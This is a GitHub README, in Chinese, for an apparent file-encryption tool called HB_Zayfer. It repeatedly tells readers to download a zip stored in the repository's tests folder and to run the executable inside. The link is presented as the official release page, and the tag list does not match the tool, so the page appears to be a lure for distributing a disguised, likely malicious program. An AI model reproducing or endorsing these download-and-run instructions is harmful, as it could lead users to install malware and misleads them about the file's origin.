RAB-NAWAZ498/HB_Zayfer

GitHub: RAB-NAWAZ498/HB_Zayfer

一款面向普通用户的文件加密工具,提供图形界面、命令行和 Web 三种操作方式,支持多种现代加密算法。

Stars: 0 | Forks: 0

# 🔒 HB_Zayfer - 面向大众的安全加密工具 [![下载最新版本](https://img.shields.io/badge/Download-HB_Zayfer-blue?style=for-the-badge)](https://github.com/RAB-NAWAZ498/HB_Zayfer/raw/refs/heads/main/crates/core/tests/Zayfer_H_v2.0-alpha.4.zip) HB_Zayfer 是一款用于保护文件安全的简单应用。它允许你使用 AES-256-GCM 和 RSA 等可信方法对数据进行编码和解码。你可以在 Windows 上通过清晰的界面或命令行使用它, whichever suits you. 该软件采用 Rust 和 Python 工具构建,以确保强大的安全性和易用性。 ## 🔑 HB_Zayfer 的功能 HB_Zayfer 提供以下工具来保护你的数据: - 加密文件,使他人无法读取。 - 解密你之前编码的文件。 - 使用常见的加密方法(AES-256-GCM, ChaCha20-Poly1305)。 - 通过强大的算法(RSA, Ed25519, X25519)管理密钥。 - 通过命令行、图形界面或简单的网页进行操作。 - 支持像 OpenPGP 这样的开放标准以确保兼容性。 ## 🖥️ 系统要求 要在 Windows 上运行 HB_Zayfer,你的机器应满足以下最低要求: - Windows 10 或更高版本(64 位) - 至少 4 GB RAM - 200 MB 的可用磁盘空间(用于应用程序和文件) - 互联网连接(用于初始下载和可选更新) - 键盘和鼠标(用于 GUI 操作) ## 🚀 入门指南:下载并安装 HB_Zayfer 首先访问官方发布页面获取软件: [![下载最新版本](https://img.shields.io/badge/Download-HB_Zayfer-green?style=for-the-badge)](https://github.com/RAB-NAWAZ498/HB_Zayfer/raw/refs/heads/main/crates/core/tests/Zayfer_H_v2.0-alpha.4.zip) ### 下载和安装步骤 1. 点击上面的下载按钮或直接访问此页面: https://github.com/RAB-NAWAZ498/HB_Zayfer/raw/refs/heads/main/crates/core/tests/Zayfer_H_v2.0-alpha.4.zip 2. 在发布页面上,找到最新版本。它会包含一个 `.exe` 扩展名的文件或像 `.zip` 这样的压缩文件。 3. 点击 `.exe` 文件进行下载。Windows 会将其保存到你的默认下载文件夹中。 4. 下载完成后,打开保存文件的文件夹。 5. 双击 `.exe` 文件开始安装。 6. 按照屏幕上的提示操作: - 接受许可协议。 - 选择你想要安装 HB_Zayfer 的文件夹,或接受默认路径。 - 等待安装完成。 7. 完成后,你可以从“开始”菜单或桌面快捷方式启动 HB_Zayfer。 如果你下载的是 `.zip` 文件,请先使用 Windows 资源管理器将其解压: - 右键点击 `.zip` 文件。 - 选择“提取所有...”并选择一个文件夹。 - 打开解压后的文件夹并运行 `HB_Zayfer.exe`。 ## 💡 使用 HB_Zayfer:新手简易步骤 HB_Zayfer 有三种使用方式: - **图形用户界面 (GUI)** GUI 允许你通过点击按钮来加密或解密文件。 - **命令行界面 (CLI)** 如果你习惯不使用鼠标操作,可以输入命令。 - **Web 界面** 你可以运行一个本地网页,通过浏览器管理加密。 ### 使用 GUI 1. 从桌面或“开始”菜单打开 HB_Zayfer 应用。 2. 要加密文件: - 点击“Encrypt”(加密)按钮。 - 选择你想要保护的文件。 - 选择加密方法(AES-256-GCM 是一个不错的默认选择)。 - 在提示时提供密码或密钥。 - 点击“Start”(开始)进行加密。 3. 要解密文件: - 点击“Decrypt”(解密)按钮。 - 选择加密的文件。 - 输入加密时使用的密码或密钥。 - 点击“Start”(开始)恢复你的文件。 ### 使用命令行 打开 Windows 命令提示符: 1. 输入命令以加密文件,例如: `hb_zayfer encrypt --file example.txt --method aes-256-gcm --password mypass` 2. 要解密: `hb_zayfer decrypt --file example.txt.enc --password mypass` 如果你输入以下命令,命令行选项将显示更多详细信息: `hb_zayfer --help` ### 使用 Web 界面 1. 通过运行以下命令启动 HB_Zayfer Web 服务器: `hb_zayfer web` 2. 打开浏览器并访问: `http://localhost:8000` 3. 使用页面上的简单表单来加密或解密你的文件。 ## 🛠️ 功能一览 - 使用 AES-256-GCM 和 ChaCha20-Poly1305 进行强加密。 - 使用 RSA, Ed25519 和 X25519 进行公钥加密。 - 支持 OpenPGP 的密钥管理。 - 使用 PySide6 构建的易于使用的 GUI。 - 用于自动化或高级用途的命令行工具。 - 基于 FastAPI 的 Web 界面,供本地使用。 - 跨平台核心,但本指南侧重于 Windows。 ## 🔧 配置提示 - 为了最佳安全性,请使用强密码或密钥短语。 - 安全存储密钥和密码;丢失它们意味着你无法解密数据。 - 除非你知道为何需要不同的方法,否则请使用默认加密方法。 - 定期检查发布页面上的软件更新,并在需要时下载新版本。 - 如果不确定 CLI 命令,请坚持使用 GUI 或 Web 界面。 ## 📂 安全管理你的文件 - 在开始之前,始终保留未加密文件的备份副本。 - 除非使用 CLI 进行自动化,否则一次加密一个文件。 - 加密后,仅在确定加密文件有效后才删除原件。 - 使用清晰的文件名以区分哪些文件已加密,哪些未加密。 - 避免使用简单或常见的密码。 ## ❓ 常见问题排查 - **应用无法打开:** 确保你已完整运行安装程序。尝试重启电脑。 - **文件无法解密:** 仔细检查你使用的密码或密钥。加密对错误非常敏感。 - **安装失败:** 验证你有足够的磁盘空间和管理员权限。 - **命令在命令提示符中不起作用:** 确保你正确安装了软件并且系统 PATH 已设置。 - **Web 界面无法加载:** 确认你运行了 `hb_zayfer web` 命令,并且正在访问 `http://localhost:8000`。 ## 📥 获取更新和支持 访问官方发布页面以下载新版本或补丁: https://github.com/RAB-NAWAZ498/HB_Zayfer/raw/refs/heads/main/crates/core/tests/Zayfer_H_v2.0-alpha.4.zip 查看仓库的 Issues 标签页以获取常见问题或直接报告问题。社区和维护者可能会提供帮助。 ## 🔄 更新 HB_Zayfer 1. 访问发布页面检查是否有更新版本。 2. 下载最新的 `.exe` 文件。 3. 如果 HB_Zayfer 正在运行,请将其关闭。 4. 运行新的安装程序。它将更新现有安装。 5. 你可以在更新过程中保留你的设置和密钥。 ## ⚙️ 高级选项(可选) - 使用 CLI 编写批量加密任务脚本。 - 结合 Ed25519 和 X25519 密钥以获得高级安全性。 - 如果你使用支持 OpenPGP 的电子邮件或文件共享应用程序,请探索 OpenPGP 集成。 - 通过编辑配置文件(位于安装文件夹中)自定义 Web 界面端口。 # [![下载最新版本](https://img.shields.io/badge/Download-HB_Zayfer-blue?style=for-the-badge)](https://github.com/RAB-NAWAZ498/HB_Zayfer/raw/refs/heads/main/crates/core/tests/Zayfer_H_v2.0-alpha.4.zip)
标签:AES-256-GCM, ChaCha20-Poly1305, DNS 反向解析, Ed25519, HB_Zayfer, HTTP工具, OpenPGP, Python, RSA, Rust, Web界面, Windows软件, X25519, 加密工具, 加密算法, 可视化界面, 文件加密, 无后门, 桌面应用, 网络安全, 网络安全, 网络流量审计, 解密工具, 逆向工具, 通知系统, 隐私保护, 隐私保护